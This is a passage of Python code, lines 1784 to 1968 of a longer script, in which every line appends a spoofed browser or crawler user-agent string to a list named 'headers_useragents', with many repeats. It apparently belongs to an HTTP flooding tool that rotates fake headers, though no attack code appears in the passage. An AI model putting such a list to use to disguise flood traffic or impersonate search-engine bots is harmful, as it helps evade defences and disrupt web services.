  1784.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1785.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  1786.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  1787.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1788.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1789.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1790.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  1791.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  1792.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  1793.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  1794.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  1795.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1796.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  1797.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1798.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1799.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1800.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1801.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1802.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1803.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1804.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1805.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1806.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1807.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1808.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1809.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  1810.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1811.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  1812.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1813.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1814.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1815.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1816.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  1817.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  1818.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1819.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1820.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  1821.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  1822.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1823.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1824.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1825.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  1826.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  1827.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  1828.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  1829.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  1830.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1831.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  1832.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1833.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  1834.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  1835.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  1836.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  1837.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  1838.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  1839.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  1840.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  1841.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  1842.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  1843.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  1844.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  1845.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  1846.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1847.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  1848.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1849.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  1850.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  1851.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  1852.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  1853.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  1854.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  1855.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1856.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  1857.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  1858.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  1859.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  1860.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  1861.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
  1862.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  1863.     headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  1864.     headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  1865.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  1866.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  1867.     headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  1868.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  1869.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  1870.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  1871.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  1872.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  1873.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  1874.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  1875.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
  1876.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
  1877.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
  1878.     headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  1879.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  1880.     headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  1881.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1882.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1883.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1884.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1885.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1886.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1887.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1888.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1889.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  1890.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1891.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  1892.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1893.     headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  1894.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  1895.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  1896.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1897.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  1898.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1899.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1900.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1901.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1902.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1903.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1904.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1905.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1906.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1907.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1908.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  1909.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1910.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  1911.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1912.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36')
  1913.     headers_useragents.append('Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36')
  1914.     headers_useragents.append('Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5')
  1915.     headers_useragents.append('Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5')
  1916.     headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3')
  1917.     headers_useragents.append('Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0')
  1918.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0')
  1919.     headers_useragents.append('Mozilla/5.0 (X11; OpenBSD amd64; rv:28.0) Gecko/20100101 Firefox/28.0')
  1920.     headers_useragents.append('Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101  Firefox/28.0')
  1921.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3')
  1922.     headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0')
  1923.     headers_useragents.append('Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0')
  1924.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)')
  1925.     headers_useragents.append('Mozilla/5.0(compatible; MSIE 10.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64)')
  1926.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)')
  1927.     headers_useragents.append('Mozilla/5.0 (BlackBerry; U; BlackBerry 9900; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.346 Mobile Safari/534.11+')
  1928.     headers_useragents.append('Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+')
  1929.     headers_useragents.append('Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+')
  1930.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7')
  1931.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Comodo_Dragon/4.1.1.11 Chrome/4.1.249.1042 Safari/532.5')
  1932.     headers_useragents.append('Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25')
  1933.     headers_useragents.append('Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2')
  1934.     headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10')
  1935.     headers_useragents.append('Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko ) Version/5.1 Mobile/9B176 Safari/7534.48.3')
  1936.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; tr-TR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27')
  1937.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1938.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1939.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1940.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1941.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1942.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1943.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1944.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1945.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  1946.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1947.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  1948.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1949.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36')
  1950.     headers_useragents.append('Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36')
  1951.     headers_useragents.append('Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5')
  1952.     headers_useragents.append('Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5')
  1953.     headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3')
  1954.     headers_useragents.append('Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0')
  1955.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0')
  1956.     headers_useragents.append('Mozilla/5.0 (X11; OpenBSD amd64; rv:28.0) Gecko/20100101 Firefox/28.0')
  1957.     headers_useragents.append('Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101  Firefox/28.0')
  1958.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3')
  1959.     headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0')
  1960.     headers_useragents.append('Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0')
  1961.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)')
  1962.     headers_useragents.append('Mozilla/5.0(compatible; MSIE 10.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64)')
  1963.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)')
  1964.     headers_useragents.append('Mozilla/5.0 (BlackBerry; U; BlackBerry 9900; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.346 Mobile Safari/534.11+')
  1965.     headers_useragents.append('Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+')
  1966.     headers_useragents.append('Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+')
  1967.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7')
  1968.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Comodo_Dragon/4.1.1.11 Chrome/4.1.249.1042 Safari/532.5')
